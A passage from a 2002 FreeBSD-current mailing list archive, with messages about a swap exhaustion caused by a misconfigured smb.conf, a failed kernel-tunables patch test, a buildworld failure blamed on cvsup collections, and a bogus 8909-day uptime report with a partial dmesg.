pid: 839; load averages: 0.01, 0.06, 0.03 up 8909+09:04:4413:27:27 327 processes: 1 running, 325 sleeping, 1 zombie CPU states: 0.4% user, 0.0% nice, 2.3% system, 11.2% interrupt, 86.0% idle Mem: 111M Active, 37M Inact, 45M Wired, 61M Buf, 307M Free Swap: 256M Total, 256M Free at which point all I can do is reboot the machine. Is anybody else seeing this? Note that this is with today's kernel. -- Jos Backus _/ _/_/_/ Santa Clara, CA _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ jos@catnook.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 13:45:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from w250.z064001178.sjc-ca.dsl.cnc.net (adsl-66.218.45.239.dslextreme.com [66.218.45.239]) by hub.freebsd.org (Postfix) with SMTP id 080F037B416 for ; Sat, 27 Apr 2002 13:45:57 -0700 (PDT) Received: (qmail 2075 invoked by uid 1000); 27 Apr 2002 20:46:17 -0000 Date: Sat, 27 Apr 2002 13:45:55 -0701 From: Jos Backus To: freebsd-current@FreeBSD.ORG Subject: Re: -current leaking? Message-ID: <20020427204617.GA2002@lizzy.catnook.com> Reply-To: jos@catnook.com Mail-Followup-To: freebsd-current@FreeBSD.ORG References: <20020427202901.GA375@lizzy.catnook.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020427202901.GA375@lizzy.catnook.com> User-Agent: Mutt/1.3.28i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Story about box running out of swap] Never mind, it turned out to be pilot error as a result of not fixing my smb.conf after switching DSL providers. Sorry to bother y'all. -- Jos Backus _/ _/_/_/ Santa Clara, CA _/ _/ _/ _/ _/_/_/ _/ _/ _/ _/ jos@catnook.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 13:57:58 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id C5CDA37B417; Sat, 27 Apr 2002 13:57:52 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3RKvqe50148; Sat, 27 Apr 2002 13:57:52 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 1F69938FD; Sat, 27 Apr 2002 13:57:53 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Maxime Henrion Cc: current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading tunables In-Reply-To: <20020427110432.GA63621@elvis.mu.org> Date: Sat, 27 Apr 2002 13:57:53 -0700 From: Peter Wemm Message-Id: <20020427205753.1F69938FD@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Maxime Henrion wrote: > Hi, > > > I think I may have found the bug. Could someone test the attached patch > and report if it fixes the problem or not ? > > Thanks in advance, > Maxime No joy: FreeBSD 5.0-CURRENT #8: Sat Apr 27 13:48:13 PDT 2002 peter@ashburton.netplex.com.au:/home/src/sys/alpha/compile/ASHBURTON Preloaded elf kernel "/boot/kernel/kernel" at 0xfffffc00005f6000. EB164 Digital AlphaPC 164SX 533 MHz, 531MHz 8192 byte page size, 1 processor. CPU: PCA56 (21164PC) major=9 minor=2 extensions=0x101 OSF PAL rev: 0x1000600020117 real memory = 132038656 (128944K bytes) Sorry.. :-/ (I'll look at this today) Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 15: 7:51 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 4235737B41B for ; Sat, 27 Apr 2002 15:07:48 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 6330F66C2B; Sat, 27 Apr 2002 15:07:43 -0700 (PDT) Date: Sat, 27 Apr 2002 15:07:42 -0700 From: Kris Kennaway To: Eric Jacoboni Cc: current@FreeBSD.ORG Subject: Re: Builworld fails on libssh.so while building sftp-server Message-ID: <20020427150742.A99046@xor.obsecurity.org> References: <20020427172913.GA3146@genius.tao.org.uk> <87u1pwrkbj.fsf_-_@titine.fr.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="oyUTqETQ0mS9luUI" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <87u1pwrkbj.fsf_-_@titine.fr.eu.org>; from jaco@teaser.fr on Sat, Apr 27, 2002 at 09:52:00PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --oyUTqETQ0mS9luUI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Apr 27, 2002 at 09:52:00PM +0200, Eric Jacoboni wrote: > I think this problem is related to my own /usr/src tree as i don't see > any other messages about such a pb in -Current. As i update with > cvsup, i don't know where this problem could come from. =20 Yeah..most likely explanation is that you're missing some of the cvsup collections from your cvsup file. Kris --oyUTqETQ0mS9luUI Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yyEuWry0BWjoQKURAqpKAKDp7p8uGBhhJCuCSjl+Ys4XJ+BgjACfbIDv BdKOcVVh5bYvtXwDjtvymJ4= =Xj9O -----END PGP SIGNATURE----- --oyUTqETQ0mS9luUI-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 15:46: 2 2002 Delivered-To: freebsd-current@freebsd.org Received: from warez.scriptkiddie.org (uswest-dsl-142-38.cortland.com [209.162.142.38]) by hub.freebsd.org (Postfix) with ESMTP id 2DD9437B41B for ; Sat, 27 Apr 2002 15:45:53 -0700 (PDT) Received: from uswest-dsl-142-38.cortland.com (uswest-dsl-142-38.cortland.com [209.162.142.38]) by warez.scriptkiddie.org (Postfix) with ESMTP id 65B9D62D1A for ; Sat, 27 Apr 2002 15:45:49 -0700 (PDT) Date: Sat, 27 Apr 2002 15:45:49 -0700 (PDT) From: Lamont Granquist X-X-Sender: To: Subject: Uptime of 8909 days on 5-CURRENT In-Reply-To: <20020427202901.GA375@lizzy.catnook.com> Message-ID: <20020427154051.N80882-100000@uswest-dsl-142-38.cortland.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I just did a cvsup today to -current on a GENERIC+SMP kernel and my uptime is showing 8909 days. Motherboard is an ASUS A7M266D with the (possibly buggy) 1004 BIOS. Here's my dmesg: ====================================================================== boot() called on cpu#1 Waiting (max 60 seconds) for system process `vnlru' to stop...stopped Waiting (max 60 seconds) for system process `bufdaemon' to stop...stopped Waiting (max 60 seconds) for system process `syncer' to stop...stopped syncing disks... 9 8 7 6 5 4 3 2 2 done Copyright (c) 1992-2002 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Sat Apr 27 15:17:05 PDT 2002 root@coredump.scriptkiddie.org:/usr/obj/usr/src/sys/COREDUMP Preloaded elf kernel "/boot/kernel/kernel" at 0xc059d000. Preloaded elf module "/boot/kernel/acpi.ko" at 0xc059d0a8. Timecounter "i8254" frequency 1193182 Hz CPU: AMD Athlon(TM) XP 1600+ (1400.06-MHz 686-class CPU) Origin = "AuthenticAMD" Id = 0x662 Stepping = 2 Features=0x383fbff AMD Features=0xc0480000 real memory = 536788992 (524208K bytes) avail memory = 515842048 (503752K bytes) Programming 24 pins in IOAPIC #0 IOAPIC #0 intpin 2 -> irq 0 FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): apic id: 0, version: 0x00040010, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00040010, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Pentium Pro MTRR support enabled Using $PIR table, 9 entries at 0xc00f1370 npx0: on motherboard npx0: INT 16 interface acpi0: on motherboard acpi0: power button is handled as a fixed feature programming model. acpi0: sleep button is handled as a fixed feature programming model. Timecounter "ACPI-fast" frequency 3579545 Hz acpi_timer0: <24-bit timer at 3.579545MHz> port 0xe408-0xe40b on acpi0 acpi_cpu0: on acpi0 acpi_cpu1: on acpi0 acpi_button0: on acpi0 acpi_pcib0: port 0xcf8-0xcff on acpi0 pci0: on acpi_pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at device 5.0 (no driver attached) isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xd800-0xd80f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 pci0: at device 7.3 (no driver attached) ahc0: port 0xd400-0xd4ff mem 0xed800000-0xed800fff irq 10 at device 9.0 on pci0 aic7899: Ultra160 Wide Channel A, SCSI Id=7, 32/253 SCBs ahc1: port 0xd000-0xd0ff mem 0xed000000-0xed000fff irq 5 at device 9.1 on pci0 aic7899: Ultra160 Wide Channel B, SCSI Id=7, 32/253 SCBs pcib2: at device 16.0 on pci0 pci2: on pcib2 fxp0: port 0xb800-0xb83f mem 0xeb800000-0xeb8fffff,0xec000000-0xec000fff irq 10 at device 6.0 on pci2 fxp0: Ethernet address 00:90:27:bc:09:95 inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto pci2: at device 8.0 (no driver attached) pci2: